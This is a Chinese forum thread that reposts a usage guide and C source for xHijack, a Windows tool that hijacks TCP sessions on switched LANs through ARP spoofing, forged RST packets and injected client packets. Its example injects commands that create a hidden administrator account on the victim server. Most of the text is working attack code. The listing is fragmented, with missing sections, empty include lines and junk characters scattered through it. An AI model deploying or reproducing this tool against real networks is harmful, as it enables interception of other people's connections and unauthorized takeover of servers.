再谈交换环境下的会话劫持(For windows2000)

韩冰

第一步是开启IP Routing的功能，修改注册表
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\IPEnableRouter为0x1，重启系统即可。
第二步是ARP欺骗，具体原理我就不说了。
第三步就是开始劫持啦。

我写了个程序xHijack可以实现第二、三步功能，使用如下:

Usage: xHijack ServerSide ClientSide

# }* z$ a% v* k6 s" i下面根据三种不同的情况分别说明如何输入参数：
<1>服务器、客户端、劫持者处于同一局域网，接在同一交换机上（或交换机级连？）。
假如服务器的IP是192.168.0.2，客户端的IP是192.168.0.3，提供如下参数给xHijack即可
c:\>xHijack 192.168.0.2 192.168.0.3
- c. Z3 a' h5 r$ i( C劫持前数据流程：server <--> client
! U# g$ m1 }% A% f劫持后数据流程：server <--> hijacker <--> client
9 d# l4 t- G, L( v$ }
4 h6 @. a, e; @: \1 q: j9 K1 o<2>服务器、劫持者处于同一局域网，客户端处于别的网络。
( b, o* ]- W8 {假如服务器IP是202.202.202.2，服务器的网关是202.202.202.1，提供如下参数
xHijack 202.202.202.2 202.202.202.1
- ?9 B* t9 V9 q" K) n2 k/ g: X劫持前数据流程：server <--> gw <--> routes <--> client
+ s4 M% V, H0 ?: }6 m劫持后数据流程：server <--> hijacker <--> gw <--> routes <--> client

: L- K, o# e; C7 l<3>客户端、劫持者处于同一局域网，服务器处于别的网络。
假如客户端的IP是192.168.0.2，网关是192.168.0.1，提供如下参数
xHijack 192.168.0.1 192.168.0.2
劫持前数据流程：client <--> gw <--> routes <--> server
劫持后数据流程：client <--> hijacker <--> gw <--> routes <--> server
0 U3 O2 J: l% n* p1 b
输入两个参数后，会提示你选择网卡，然后会提示
l        <-- List all connections
r x       <-- Reset the number x connection
$ ]! Y0 v' {$ \8 `8 B/ h: ow x       <-- Watch the number x connection
h x command   <-- Hijack the number x connection to execute command
- b0 z* H) P6 E! u8 F+ I6 q
* q) A, E, L, t, g4 @list、reset、watch命令我就不解释了。
" D% u0 g. D( i, B1 O4 n假如现在有如下连接
7 W! K/ f6 E  G" u# P(1) 202.202.202.202:23 <--> 192.168.0.3:2345
4 w% w# E$ M3 v4 e& ?我们想要劫持这个连接运行我们的命令，输入
xHijack>h 1 "&net user ey4s hijack /add & net localgroup administrators ey4s /add"
4 k) h0 V1 S8 C. Z- O: ?8 r为什么命令前面要加&呢？假如客户刚发送一个字符p过去，我们不加&的话，服务器端接受到的就是
pnet user.....了，加了&后就成为p&net user.....，这样就不管前面客户输入了什么，我们的命令
: K. V, J# x. c! H) R. W都能够运行了。以上都假设服务器是windows 2000，unix下加什么字符，我不知道，我是unix白痴，呵呵。
3 u4 [: M9 k/ j- W
6 a  J1 K1 H6 |; {, H6 d/ Y: r劫持的流程如下：
2 `' w0 X4 q) M. g% l; R& k+ s<1>伪装成Server给Client发一个rst包
* c' A" z' H. W3 _8 Z; l<2>伪装成Client给Server发了一个数据包
<3>Server回一个ACK包给client
<4>因为Cleint的连接已经给我们reset掉了，所以client回一个rst包给server

7 K- V1 r, f6 n) j这样的话，我们只能发一个伪造的包，但我想已经足够了。
- M& R. \7 q% X; O  `' Z想要一直劫持那个连接也可以，如下
<1>伪装成Server给Client发一个rst包
<2>欺骗Client，告诉它Server的MAC地址AAAAAAAAAAAA
0 n; U( d- x2 k<3>伪装成Client给Server发了一个数据包
0 W4 x* Q* _  ]  g+ I5 s+ r2 A<4>Server回一个ACK包给client
<5>Client回一个rst包给Server，但Server收不到，因为Client发到AAAAAAAAAAAA了，呵呵。
, [8 x( L" d& E6 J! L4 T4 H<6>然后Server发给Client的包都由我们来处理，包括给Server回ACK包等等。

不过这样比较危险，在我们劫持的过程中，Client与Server的通讯始终是断开的。
- L1 N) w5 U, ~* p: e2 u& B
. Z/ C3 e) y8 i6 c& B& J: b, E8 ^0 r
4 `! n1 t3 ~4 J( ?2 v刚开始看TCP/IP协议，调程序调得头昏脑涨，说明也写的乱七八糟，呵呵，程序代码也可能存在很多问题，
3 y. b* F& _& U还请各位多多指点。

- S) R* @; ?) uBTW:我没有空间，编译好的程序没地方放：（
3 {+ k  T& _+ v8 j$ R0 g+ _
, R- _- u4 _+ ?8 q
6 v7 F4 `$ D1 P0 F9 W
0 A- o: O* h1 O9 n$ _8 u, `参考资料
<>交换环境下的会话劫持http://www.xfocus.net/article_view.php?id=375
7 y: h1 f% F8 G<>交换网络中的嗅探和ARP欺骗http://www.xfocus.net/article_view.php?id=377


' u7 z. k% \% M3 K) u2 M以下是程序代码
----------------------------------------------------------------------
4 f! j. A3 U3 s6 }" J7 y2 \/*-----------------------------------------------------------------------------
' N5 n' M& h% h7 C; W' e  p/ pFile      : xHijack.c
Version      : 1.0
: y" Z, C3 O. V# j: O2 WCreate at    : 2002/8/12
* c( \0 y0 R# I5 M6 ~1 dLast modifed at  : 2002/8/19
1 {* M% X& c+ M* ?7 rAuthor      : eyas
Email      : ey4s@21cn.com
HomePage    : www.ey4s.org
感谢refdom和shotgun发布的源代码，使我获益非浅。
6 u+ |' P: z2 M, ^* \7 r4 x$ B* yIf you modify the code, or add more functions, please email me a copy.
' f. @. u, t( t% T/ ~0 Y
1 p1 g; @: i* s备注:
<>没有考虑IP头、TCP头超过20字节的情况
<>没有考虑数据包分片的情况
<>没有对截取到的TCP数据进行解码，如TELNET，虽然是明文传输，但是TCP数据里面包含了
显示格式、位置等信息，直接打印出来，显得很凌乱。但如果是IRC、SMTP、POP3等就没问
( v4 o% Z$ D6 `1 C* e题了。

也许下一版本会修正这些问题，也许不会有下一版本了。

-----------------------------------------------------------------------------*/
1 m4 ]" V0 T; ]4 ~+ T, l: }* m#include
' b+ u2 r& h- p, x4 ^& I9 W' I#include
3 [4 p6 g; l- q  V#include
#include
; a& D1 D4 A8 Z( L) q#include
#include
#include
' x) u* Z: `3 v0 _$ Z% T- \5 k# i4 G
; n6 Y; C3 Q6 u; L1 A# Q+ l#pragma comment (lib, "packet")
# p7 l2 G" z3 W* n#pragma comment (lib, "iphlpapi")
, p- y$ u' d; i& Y8 m+ a#pragma comment (lib, "ws2_32")

2 R/ r1 s3 }! [- P& D' w& r#define Max_Num_Adapter 10
#define Max_Num_IPAddr  5
#define EPT_IP      0x0800      /* type: IP  */
#define ARP_HARDWARE  0x0001      /* Dummy type for 802.3 frames */
#define EPT_ARP      0x0806      /* type: ARP */
0 t$ z. }; r+ Z- `+ p# O: d3 m
3 q" X) o3 W( r7 m# c4 ~- }& T#define  ACTION_NONE    0
1 C5 [9 g5 u4 Q' K$ O#define  ACTION_WATCH  1
#define  ACTION_RESET  2
+ T; z; [4 S  N0 M  C2 j#define ACTION_HIJACK  3
1 P: P. A. W7 U; a
" ]/ P6 J- V8 a/ E/*以1字节对齐*/
#pragma pack(1)
typedef struct _ehhdr
{
  unsigned char  DestMAC[6];
  unsigned char  SourceMAC[6];
+ D' I6 Z9 `5 d* o' Q  {  unsigned short  EthernetType;
0 L; c8 _( b) q! v8 W6 r( H6 W}EHHDR, *PEHHDR;
- s% ]0 x. e% e, W+ I9 C
- n/ o; u6 z) I" dtypedef struct _iphdr        //定义IP首部
{
  unsigned char h_verlen;      //4位首部长度,4位IP版本号
% [) e3 S6 s+ f) Y  unsigned char tos;        //8位服务类型TOS
  unsigned short total_len;    //16位总长度（字节）
  unsigned short ident;      //16位标识
  unsigned short frag_and_flags;  //3位标志位
  unsigned char ttl;        //8位生存时间 TTL
1 c" I1 J& j6 |5 {3 U9 y  unsigned char proto;      //8位协议 (TCP, UDP 或其他)
  unsigned short checksum;    //16位IP首部校验和
4 L  H: [3 S3 Y$ w4 X4 ~  unsigned int sourceIP;      //32位源IP地址
  unsigned int destIP;      //32位目的IP地址
3 J4 H' Z( j) d}IPHDR, *PIPHDR;

typedef struct _tcphdr        //定义TCP首部
{
  USHORT th_sport;        //16位源端口
  USHORT th_dport;        //16位目的端口
, L/ {8 ?% A7 T$ [; B% W  unsigned int th_seq;      //32位序列号
2 s" Y; I& e" u/ R  X0 |  unsigned int th_ack;      //32位确认号
  unsigned char th_lenres;    //4位首部长度/6位保留字
  unsigned char th_flag;      //6位标志位
4 E" K4 @3 j, Y% T# q, ^( s5 Y( [4 o  USHORT th_win;          //16位窗口大小
  USHORT th_sum;          //16位校验和
4 N/ N# x/ }4 g- }  USHORT th_urp;          //16位紧急数据偏移量
}TCPHDR, *PTCPHDR;

typedef struct _psdhdr        //定义TCP pseudo header
) S4 b; e7 z! I{               
" ?0 A* d& G  r0 t" d9 O# D  unsigned long saddr;
  unsigned long daddr;
  char mbz;
% a) b- |# Q" b; @3 z' \1 c  char ptcl;
" S1 o6 v8 Q1 B! g* z  unsigned short tcpl;
& R5 u6 X& O' o: n1 I, S3 b, c}PSDHDR, *PPSDHDR;

2 W4 |$ ?/ u0 I, etypedef struct _arphdr
9 ?' E% ]7 g. i{
' s) x7 J% |* U- y/ }" x0 ]% `  unsigned short  HrdType;//硬件类型
( L. U: j1 J7 E  r6 {% p  unsigned short  ProType;//协议类型
8 Z: m( x5 {& k/ [& G% z3 [7 b  unsigned char  HrdAddrlen;//硬件地址长度
  unsigned char  ProAddrLen;//协议地址长度
8 E, \; v4 S; I  H  unsigned short  op;//operation
# X" J0 I8 a3 i6 G+ q  unsigned char  SourceMAC[6];/* sender hardware address */
  unsigned long  SourceIP;/* sender protocol address */
+ Q5 y! [4 \' Y+ K7 M- t. U  unsigned char  DestMAC[6];/* target hardware address */
0 A- _$ ^1 p  K3 M, S  unsigned long  DestIP;/* target protocol address */
}ARPHDR, *PARPHDR;

: T) M0 I$ }9 M5 h+ _6 n+ C6 Ytypedef struct _ArpPacket
{
  EHHDR  ehhdr;
2 g$ d$ m  H, S  M, [+ `  ARPHDR  arphdr;
' G) K& @. A5 ^/ p8 }; N}ARPPACKET, *PARPPACKET;

typedef struct _tcppacket
/ N" D9 P6 y% ?9 j/ d{
3 a9 R8 a  N2 u9 q: a( G  EHHDR  ehhdr;
  IPHDR  iphdr;
  TCPHDR  tcphdr;
" F& E! I; k; R" @* d% v}TCPPACKET, *PTCPPACKET;

% p$ m; @; U1 U* ~, `! Xtypedef struct _conninfo
{
4 `5 u. M' w1 ^9 F  DWORD  dwServerIP;
+ V( n3 J4 q8 E5 g( e8 i  USHORT  uServerPort;
  DWORD  dwClientIP;
  USHORT  uClientPort;
! j+ P4 j8 U5 M$ R+ [8 j* o& h2 Q  DWORD  ident;//标识
  BOOL  bActive;
, }- Y8 k; N6 H& U/ S  K  struct  _conninfo  *Next;
}CONNINFO, *PCONNINFO;

" E) d  }/ `4 R' z- P+ {+ l//定义全局变量

wy617958197

大侠好厉害啊

韩冰

__finally
  {
    if(pHiJackPacket) free(pHiJackPacket);
  }
  return bRet;
}
/ X, z& {! H& ^; N. S* A
. H9 L8 Q5 s9 q% u
, o* ]% z/ d' d( z6 H6 k//
' \/ [7 E- k# ?7 f* T4 I1 f+ h/ Z//功能：伪装成Server给Client发送rst包
//
BOOL SendRstPacket(unsigned int seq, unsigned int ack)
{
  char    szBuff[60];
  d" S$ D5 ]/ `5 i$ P  V; V  PSDHDR    psdhdr;
  PTCPPACKET  pTcpPacket = NULL;
% U  [1 Y5 G; u  BOOL    bRet = FALSE;

  __try
4 S# b/ @4 N; S3 ?  {
) X% t' Z* i8 j8 I    //检查当前指向想控制的连接的信息的指针是否为空
    if(!g_pCurrCtrlConn) __leave;
$ c+ _& n7 v; R  a8 w    //allocate memory for rst packet
8 O) R6 g! Y. z: Y    pTcpPacket = (PTCPPACKET)malloc(sizeof(TCPPACKET));
( ^) H& r4 _4 Y7 z3 A0 M* X: n7 Y    if(!pTcpPacket)
+ @$ V# G  H  w4 ]. K" G# u    {
, R- e9 q% _: I& D: i0 @, V" w4 X      printf("malloc error:%d\n", GetLastError());
" u) W' W: d4 q% u$ w5 E- R      __leave;
9 w; y8 m0 {- Z/ h: I5 v    }
    //fill ethernet head
    memcpy(pTcpPacket->ehhdr.DestMAC, g_szClientSideMAC, 6);
. p9 j" F. v7 P    memcpy(pTcpPacket->ehhdr.SourceMAC, g_szOwnMAC, 6);
    pTcpPacket->ehhdr.EthernetType = htons(EPT_IP);
    //fil ip head
    pTcpPacket->iphdr.h_verlen = (4<<4 | sizeof(IPHDR)/sizeof(unsigned long));
    pTcpPacket->iphdr.tos = 0;
    pTcpPacket->iphdr.total_len = htons(sizeof(IPHDR)+sizeof(TCPHDR));
# q# M& G' j+ [    pTcpPacket->iphdr.ident = 1;
) _7 M1 ~# E/ Z, W( @1 y( f; L& N    pTcpPacket->iphdr.frag_and_flags = 0;
    pTcpPacket->iphdr.ttl = 128;
    pTcpPacket->iphdr.proto = IPPROTO_TCP;
    pTcpPacket->iphdr.checksum = 0;
    pTcpPacket->iphdr.sourceIP = g_pCurrCtrlConn->dwServerIP;//源IP地址，伪装成服务器的
% f$ v$ ^+ t4 B/ T6 `: ?% d" b! g    pTcpPacket->iphdr.destIP = g_pCurrCtrlConn->dwClientIP;//接收此rst包的ip地址
    //fill tcp head
    pTcpPacket->tcphdr.th_sport = g_pCurrCtrlConn->uServerPort;//源端口号，伪装成服务器的端口
% J0 j: X- S2 ~. _% B; ?    pTcpPacket->tcphdr.th_dport = g_pCurrCtrlConn->uClientPort;//接收此rst包的端口
    pTcpPacket->tcphdr.th_seq = seq;//SYN
9 h7 y4 ?! {. _  |" d    pTcpPacket->tcphdr.th_ack = ack;//ACK
    pTcpPacket->tcphdr.th_lenres = (sizeof(TCPHDR)/4<<4|0);
  Y; G, K) a/ f( Z% V- t    pTcpPacket->tcphdr.th_flag = 4;//RST flag
    pTcpPacket->tcphdr.th_win = 0;
    pTcpPacket->tcphdr.th_urp = 0;
5 P  I9 @3 l1 d9 Z    pTcpPacket->tcphdr.th_sum = 0;
7 v  }3 ^; y- v) R' J6 p: X    //fill tcp psd head
- e: A6 b$ u7 z, }* d    psdhdr.saddr = pTcpPacket->iphdr.sourceIP;           
    psdhdr.daddr = pTcpPacket->iphdr.destIP;           
' i5 I5 O; f/ B' x' Z    psdhdr.mbz = 0;
% A$ u( N0 Z! J( d    psdhdr.ptcl = IPPROTO_TCP;
& Y6 e) [8 H, z6 f    psdhdr.tcpl = htons(sizeof(TCPHDR));
    //calculate tcp checksum     
. W8 B) p4 \0 ^: O    memcpy(szBuff, &psdhdr, sizeof(PSDHDR));   
! b2 e* L+ k9 H5 P    memcpy(szBuff + sizeof(PSDHDR), &pTcpPacket->tcphdr, sizeof(TCPHDR));
    pTcpPacket->tcphdr.th_sum = checksum((USHORT *)szBuff, sizeof(PSDHDR) + sizeof(TCPHDR));
' o% c0 v% r( c& k5 `    //calculate IP checksum
7 a) K5 b0 P+ z/ Y: C- K, I. ?2 |    pTcpPacket->iphdr.checksum = checksum((USHORT *)&pTcpPacket->iphdr, sizeof(IPHDR));
6 I0 [+ W  X, A, F) S    //fill send buffer
    memset(g_lpSendPacket->Buffer, 0, 1514);
    memcpy(g_lpSendPacket->Buffer, (char *)pTcpPacket, sizeof(TCPPACKET));
3 U1 w7 M, |- j8 Z. g, n6 ^5 ^) W    if(PacketSendPacket(g_lpAdapter, g_lpSendPacket, TRUE) == FALSE)
6 J/ J5 G" U8 c. |5 v. b' f    {
      printf("Error sending the rst packets!\n");
      __leave;
    }
    else printf("Send RST packet ok!\n");
    bRet = TRUE;
4 }5 L% F  c7 l! ]7 D4 J  }
: H% F$ ^+ H% I; \2 l' o- k/ M- S  __finally
  {
+ ?% ~, \6 s% Q- S1 G    if(pTcpPacket) free(pTcpPacket);
  }
$ P2 i# m! b( ^$ k. e  return bRet;
}

9 O4 E% w. }7 [& {//
//功能：计算校验和
6 d9 l% S4 h. ^+ L//
USHORT checksum(USHORT *buffer, int size)
{
unsigned long cksum=0;
while(size >1) {
3 E; n! z# _6 k% {9 }* D9 `' x  cksum+=*buffer++;
; j% ^. J, B% \+ d' Y  size -=sizeof(USHORT);
1 P; H' G& y0 y1 d" @! Y& W }
& p; o! I- I) m if(size ) {
2 {/ M6 A6 {9 ^% H  cksum += *(UCHAR*)buffer;
3 o' a& W) ^9 X }
cksum = (cksum >> 16) + (cksum & 0xffff);
cksum += (cksum >>16);
return (USHORT)(~cksum);
}
" u9 `6 Z$ L2 d# i2 I. O) Z
//
' j# E; I# w; ?7 ?$ O//功能:实施ARP欺骗
: m4 k) [$ e/ w1 u  _: s6 J; x//1 告诉ServerSide,ClientSide的mac是ownmac
//2 告诉ClientSide,ServerSide的mac是ownmac
//
DWORD WINAPI ArpSpoofThread(LPVOID lpType)
{
  int  iType = *(int *)lpType;
  ARPPACKET  ArpPacket;
# \! d2 \+ K  [2 ]1 J% T  LPPACKET  lpArpPacket;
  char    szArpBuff[60];

9 F3 I2 H1 J5 y- Q  switch(iType)
  {
+ m' v# u' g& i$ r4 C2 O0 V* c    case 1:
+ p  N' X, {8 P7 d" ?      memcpy(ArpPacket.ehhdr.DestMAC, g_szServerSideMAC, 6);
9 \& e4 E3 Z( n8 d  B      ArpPacket.arphdr.DestIP = g_ServerSideIP;
& R! |0 B1 P/ G      ArpPacket.arphdr.SourceIP = g_ClientSideIP;
) t. A/ j/ T) w9 L      break;
6 @8 s' A) o2 j" A' b/ I1 B    case 2:
      memcpy(ArpPacket.ehhdr.DestMAC, g_szClientSideMAC, 6);
: d7 S( A9 a7 X* r4 K) J& H" b      ArpPacket.arphdr.DestIP = g_ClientSideIP;
      ArpPacket.arphdr.SourceIP = g_ServerSideIP;
/ ?9 M+ N6 }3 f4 G      break;
    default:
      return 0;
% f4 Y& v4 U" M% Q: B( Y4 o2 }, Y  }
; N0 h) y+ Y/ y  //ethernet head
7 J0 V2 w" b7 M  memcpy(ArpPacket.ehhdr.SourceMAC, g_szOwnMAC, 6);
0 g' J# X& Y( ^, G3 d  ArpPacket.ehhdr.EthernetType = htons(EPT_ARP);//ethernet type
7 T# A" c2 s3 v3 D6 v  //arp head
: Q+ u% S% O  a  K: c  memcpy(ArpPacket.arphdr.DestMAC, ArpPacket.ehhdr.DestMAC, 6);//dest's mac
  memcpy(ArpPacket.arphdr.SourceMAC, g_szOwnMAC, 6);//sender's mac
  ArpPacket.arphdr.HrdAddrlen = 6;
  ArpPacket.arphdr.ProAddrLen = 4;
  ArpPacket.arphdr.HrdType = htons(ARP_HARDWARE);
  ArpPacket.arphdr.ProType = htons(EPT_IP);
, M& O5 `" D& P  ArpPacket.arphdr.op = htons(2);//arp reply

  lpArpPacket = PacketAllocatePacket();
  if(lpArpPacket == NULL)
  {
    printf("Error:failed to allocate the LPPACKET structure for Arp spoof.\n");
/ D. H' H8 _/ F5 D+ T$ t    return 0;
* l4 A4 b2 z7 b& g: v2 X$ d' A$ k  }
) Q7 t8 y* H9 `2 Y% D2 j9 c  memset(szArpBuff, 0, sizeof(szArpBuff));
9 x% v: t* h% ^0 ^! l  memcpy(szArpBuff, (char *)&ArpPacket, sizeof(ARPPACKET));
  PacketInitPacket(lpArpPacket, szArpBuff, 60);
" E( K; P4 I& l" e- t  //send arp packet
  while(1)
  {
2 N' B( d; M% k8 Q1 M4 I* I1 T    if(PacketSendPacket(g_lpAdapter, lpArpPacket, TRUE) == FALSE)
+ P& v, q4 `, Q; x% V( o    {
      printf("Error sending the arp spoof packets!\n");
      return 0;
3 ?  K  M& J6 v3 h; p3 }    }
  B- e, {+ W  A+ a0 P- |1 Q    Sleep(1000);
  }
0 c' q( e' j# S! [3 ]9 T  return 0;
}
! _: ~! K/ q& u$ h! M# n. \9 @( [  [
. s( Q- R- e0 u6 N; H* `* @//
' ?3 u( p; a9 o5 _: g//功能：输入IP取得对应的MAC地址
//
2 r  j+ M; S, o+ |  ?BOOL GetMACAddr(DWORD DestIP, char *pMAC)
9 ^+ t- {' Z4 Q; {( h{
3 Y: V$ S& p. E& @. F* Q( c1 W  DWORD  dwRet;
  ULONG  ulLen = 6, pulMac[2];
  dwRet = SendARP(DestIP, 0, pulMac, &ulLen);
  if(dwRet == NO_ERROR)
- h- n( s1 d( V6 o4 g1 M  {
    memcpy(pMAC, pulMac, 6);
    return TRUE;
# Z2 {# a6 Z  a  y+ \" x  }
  n  d2 m9 A4 F; h" ~+ t' c  else return FALSE;
}

韩冰

pTCPPacket->iphdr.sourceIP, pTCPPacket->tcphdr.th_sport, TRUE, FALSE);
            //reset action flag
            ResetActionAllFlag();
( Y0 d3 a3 P0 i( U          }
          //start hijack
2 ]& [, q  e" s3 U4 @2 I1 c1 y          else if(g_dwAction == ACTION_HIJACK)
0 r5 t9 V/ n" k          {
' g# o' r# U' r& }4 u            //send rst packet to client
" Z9 H( ], d/ H5 \) O4 x" a            SendRstPacket(pTCPPacket->tcphdr.th_ack, pTCPPacket->tcphdr.th_seq);
            //send hijack packet to client
7 a' I1 h: P5 ]- S7 o& S' C            SendHiJackPacket(pTCPPacket);
            //reset action flag
            ResetActionAllFlag();
          }
        }
! u0 m: A& R0 p; ?, _! F        //show the tcp data
# G+ B2 }9 x& p2 S2 z! }' M        if( (g_dwAction == ACTION_WATCH) && (usDataLen) )
- N/ h1 v$ e* g2 E4 m        {
# G, A# D+ W. k! P# b1 D          ShowPacketMoreInfo(pTCPPacket, usDataLen, FALSE);
          //暂不考虑IP、TCP头不是20字节的情况
          //pStr = (char *)pTCPPacket + sizeof(EHHDR) + usIPHeadLen + usTCPHeadLen;
) C" S& [: f* u1 }7 M! P9 ]          pStr = (char *)pTCPPacket + 54;
          for(i=0; i        }
6 m3 \' Z3 {/ F  L* ]; j5 W      }
      //debug output
      //ShowPacketMoreInfo(pTCPPacket, usDataLen, TRUE);
    }//end of analyse packets while
2 J9 k; X0 S: d0 i  M- V- @& O  }//end of recv packets while
  ^8 w, s4 h3 @+ J2 |  PacketFreePacket(lpRecvPacket);
  return 0;
- Q( O9 p: A- E0 ^% @; n$ d2 ~}


+ d2 ^- F% @  \! e# j1 J//
//功能：操作记录所有连接信息的单向链表
. X/ Y" z) ^9 \; ^* E//
DWORD CtrlConnInfoLink(DWORD dwServerIP, USHORT uServerPort, DWORD dwClientIP,
" N; e! d5 L+ `7 d" B; @            USHORT uClientPort, BOOL bDelete, BOOL bAddNew)
% D, O" G0 k0 V{
  PCONNINFO  pNew, pTmp;

$ O1 q% v( n# V3 S  M: v  pTmp = g_pConnHead;
8 b' W/ D( y0 M5 i% z( A3 ]  while(pTmp)
  {
    if(pTmp->bActive)
+ d9 I- b! a. j    {
% N% |6 q$ N9 `      //found it
- j0 x8 q% N; i! c7 U, U      if( (pTmp->dwServerIP == dwServerIP) &&
        (pTmp->uServerPort == uServerPort) &&
        (pTmp->dwClientIP == dwClientIP) &&
1 Z0 ^& F/ I' `4 N        (pTmp->uClientPort == uClientPort) )
      {
        if(bDelete)
. B, l' }% `5 g  Q! B/ C( ?+ r        {
8 L. o- ~: y6 V: A          pTmp->bActive = FALSE;
4 U$ n$ M+ Q8 V4 \% O8 s9 ~; M          return 0;
8 m1 m" q& E- a* f        }
        else return pTmp->ident;
      }
    }
    pTmp = pTmp->Next;
  }
& ?0 y+ r4 s- o% [7 o  //not found, create new node
" s7 _& T6 U; [, h$ C2 _  if( (!pTmp) && (!bDelete) && (bAddNew) )
( g+ W, ~* Q7 d7 s' x: L. q* w  {
    //search unactive note
    pTmp = g_pConnHead;
' F) m. n" n2 W$ ?0 i$ Y    while(pTmp)
    {
: b) G) L$ S$ O0 n      if(!pTmp->bActive) break;
      pTmp = pTmp->Next;
  o; R- N+ }9 m) y    }
) H: |) Q4 p% Z( k4 t5 m( j    //found a unactive node
9 Q! [/ ?( f% v$ h0 \0 ~% y    if(pTmp)
. J9 a% H* k5 R1 o9 l: G' t8 z; {    {
      pTmp->dwServerIP = dwServerIP;
      pTmp->uServerPort = uServerPort;
      pTmp->dwClientIP = dwClientIP;
( h4 n. W4 k7 Z3 l( d+ K! \2 f      pTmp->uClientPort = uClientPort;
      pTmp->bActive = TRUE;
( @: A" X8 ~/ p$ T3 ~      return pTmp->ident;
    }
- {) f2 E. S( S6 a7 p( g* Q2 r( m    //not found,create new node
    pNew = (PCONNINFO)malloc(sizeof(CONNINFO));
. `4 t2 \8 W$ e9 o$ C    if(!pNew)
6 s' V- y8 I# f7 _" z8 s1 L6 O    {
6 u9 u# N! I1 E" L      printf("malloc for link node error:%d\n", GetLastError());
      return 0;
' @! `5 |* h' W& Y" y* u+ P: D    }
    //fill the struct
    pNew->bActive = TRUE;
    pNew->dwServerIP = dwServerIP;
    pNew->uServerPort = uServerPort;
3 k' H) F% ~  t; K4 }( s, c3 k    pNew->dwClientIP = dwClientIP;
2 s" {/ R( f! S7 B9 `0 q    pNew->uClientPort = uClientPort;
) r$ v( ~# m. \3 D4 ?" O  i$ I    pNew->ident = ++g_ident;
9 M+ V& b; x! V0 R' r    pNew->Next = NULL;
3 ~( h& N- n0 c% u5 o" ~' G    //add new node to link
$ N2 ~6 p+ G' {3 C6 X* M    if(!g_pConnHead)
      g_pConnHead = g_pConnLast = pNew;
- b2 h4 E: o- |    else
! p& h9 x# s) F% L1 X: B+ N2 I    {
      g_pConnLast->Next = pNew;
      g_pConnLast = pNew;
$ ^' q' E5 }: p. R; Y' w    }
    return pNew->ident;
  }
  return 0;
+ Y2 O0 |3 D! k% ?: w}

' v  c3 N# c) m% d! Z2 J5 w# M//
- Q" v) q/ {0 ]# O6 L. T6 |6 ?+ U//功能：判断一个数据包是不是只有ACK标志
//
BOOL IsACKPacket(unsigned char flag)
- Y3 j5 s5 ?' {# m% t{
  int  i, j=1;
: _! Z* e9 T- T, ^  for(i=0 ; i<4; i++)
  {
  Z- e; \. `" [9 A8 I    if(flag & j) return FALSE;
' v* B2 ^1 a; F; x+ c, k    j <<= 1;
  }
+ H& \0 N+ U4 r  if(!(flag & 0x10)) return FALSE;//is ack?
  if(flag & 0x20) return FALSE;
9 s5 Q( ^$ o( }$ ^2 {; b  return TRUE;
0 z6 @) b5 U' S1 d0 ^2 R}

//
//功能：伪装成Client给Server发送数据包
//
BOOL SendHiJackPacket(PTCPPACKET pTempletPacket)
{
4 \) T+ l  ]2 o1 [( ]4 ^
  char    szBuff[1520];
  PSDHDR    psdhdr;
  PTCPPACKET  pHiJackPacket = NULL;
$ ~* {% ~, Z: p( s5 b  BOOL    bRet = FALSE;
4 z5 f4 r6 C- m! D( G& r
  __try
  {
* a7 k6 m& y0 X/ @  {# o    //
+ x) I1 x) C* T- y    if(!g_pCurrCtrlConn) __leave;
$ Y% i% W3 e; y# @; m1 v7 [1 n! h    //allocate memory for hijack packet
    pHiJackPacket = (PTCPPACKET)malloc(sizeof(TCPPACKET));
    if(!pHiJackPacket)
1 j9 i. a1 O# {5 w( R    {
4 e) E8 j; [4 k7 n# @# }+ W3 |      printf("malloc error:%d\n", GetLastError());
      __leave;
4 w* a+ N/ ]& X. q    }
    memcpy(pHiJackPacket, pTempletPacket, sizeof(TCPPACKET));
    //-------------- modify the packet ---------------//
    //modify ethernet head
    memcpy(pHiJackPacket->ehhdr.DestMAC, g_szServerSideMAC, 6);
; q1 ]' _7 t; w    memcpy(pHiJackPacket->ehhdr.SourceMAC, g_szOwnMAC, 6);
    //modify ip head
    pHiJackPacket->iphdr.h_verlen = (4<<4 | sizeof(IPHDR)/sizeof(unsigned long));
% p% i: K' y5 N  H4 W    pHiJackPacket->iphdr.total_len = htons(sizeof(IPHDR)+sizeof(TCPHDR)+strlen(g_szCommand));
    pHiJackPacket->iphdr.ident += 1;//标识加1
+ J. ^' l, U0 ^- Q    pHiJackPacket->iphdr.checksum = 0;
$ W* i. n9 r# r" K1 F& A+ u8 D7 T    pHiJackPacket->iphdr.sourceIP = g_pCurrCtrlConn->dwClientIP;//源IP地址，伪装成client
  e8 l! P; N1 z5 M$ e; [    pHiJackPacket->iphdr.destIP = g_pCurrCtrlConn->dwServerIP;//目的IP地址，接收hijack包的地址
4 T1 C! N, ]" d  x* o    //modify tcp head
0 a7 P4 p& m) G7 N8 K9 _3 W$ m    pHiJackPacket->tcphdr.th_sport = g_pCurrCtrlConn->uClientPort;//client's port
    pHiJackPacket->tcphdr.th_dport = g_pCurrCtrlConn->uServerPort;//server's port
    pHiJackPacket->tcphdr.th_lenres = (sizeof(TCPHDR)/4 << 4 | 0);
9 l- ?1 |" A0 p2 U9 d    pHiJackPacket->tcphdr.th_flag = 0x18;// PA
! I7 ]/ c! ?5 u  P7 n6 [, A    pHiJackPacket->tcphdr.th_sum = 0;
/ Z1 ?" g! N' o5 g1 b1 Y: o& V    pHiJackPacket->tcphdr.th_win = 0x3F44;
    //fill tcp psd head
    psdhdr.saddr = pHiJackPacket->iphdr.sourceIP;           
$ P7 @6 M* g2 `  Y    psdhdr.daddr = pHiJackPacket->iphdr.destIP;           
" v) i0 Y4 q" m8 F4 q2 x    psdhdr.mbz = 0;
    psdhdr.ptcl = IPPROTO_TCP;
    psdhdr.tcpl = htons(sizeof(TCPHDR) + strlen(g_szCommand));//tcp head + data len
4 M: P5 q9 [' N( B. v2 _! U    //calculate tcp checksum     
    memcpy(szBuff, &psdhdr, sizeof(PSDHDR));   
    memcpy(szBuff + sizeof(PSDHDR), &pHiJackPacket->tcphdr, sizeof(TCPHDR));
    memcpy(szBuff + sizeof(PSDHDR) + sizeof(TCPHDR), g_szCommand, strlen(g_szCommand));
    pHiJackPacket->tcphdr.th_sum = checksum((USHORT *)szBuff, sizeof(PSDHDR) + sizeof(TCPHDR) + strlen(g_szCommand));
    //calculate IP checksum
    pHiJackPacket->iphdr.checksum = checksum((USHORT *)&pHiJackPacket->iphdr, sizeof(IPHDR));
    //fill send buffer           
    memcpy(szBuff, (char *)pHiJackPacket, sizeof(TCPPACKET));
6 W- H  l% V- w# u" V0 r+ q    memcpy(szBuff + sizeof(TCPPACKET), g_szCommand, strlen(g_szCommand));
